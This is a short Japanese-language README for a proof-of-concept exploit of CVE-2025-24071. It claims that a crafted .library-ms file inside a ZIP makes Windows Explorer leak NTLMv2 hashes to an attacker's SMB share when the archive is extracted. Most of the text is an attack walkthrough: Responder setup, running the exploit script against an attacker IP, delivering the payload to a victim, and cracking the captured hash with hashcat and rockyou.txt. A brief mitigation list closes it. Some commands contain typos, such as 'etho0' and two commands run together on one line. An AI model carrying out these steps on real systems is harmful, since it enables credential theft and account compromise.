CVE-2025-24071-POC-NTLMHashDisclosure

• 攻撃者管理の共有フォルダーへの自動SMB認証をトリガーします。
• 操作は不要です — Windows ExplorerがこのNTLM認証を自動的に開始します。
• NTLMv2ハッシュの漏えい（情報開示）が発生します。
• Windows 10/11 の全バージョンに影響。特に 11 23H2。

攻撃者環境のセットアップ

sudo apt update && sudo apt install responder -y

Responder を起動

sudo responder -I eth0

エクスプロイトスクリプトの実行

必要なPythonモジュールをインストール

pip install colorama python3 CVE-2025-24071.py -i <attacker_ip> -n testpayload -o ./output --keep

これにより以下が生成されます： testpayload.library-ms testpayload.zip

被害者マシンでのテスト

testpayload.zip を Windows 11 テストマシンに転送します。 Windows エクスプローラーで ZIP を展開します。 これにより Windows が SMB パスへのアクセスを試み、NTLM ハッシュが漏えいします。

ハッシュの取得

responder -I etho0

ハッシュファイルの準備

hash,txt ファイルを作成します

victim::DOMAIN:1122334455667788:11223344556677889900aabbccddeeff:01010000000000000090d5d00f3

ワードリストの選択

最も一般的なのは rockyou.txt です

Hashcat の実行

hashcat -m 5600 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt

緩和策

• ファイアウォールで外部送信 SMB (TCP 445) をブロックします。
• 信頼されていない SMB 共有への自動認証を無効にします（グループポリシー）。
• .library-ms ファイルの展開と SMB 接続を監視します。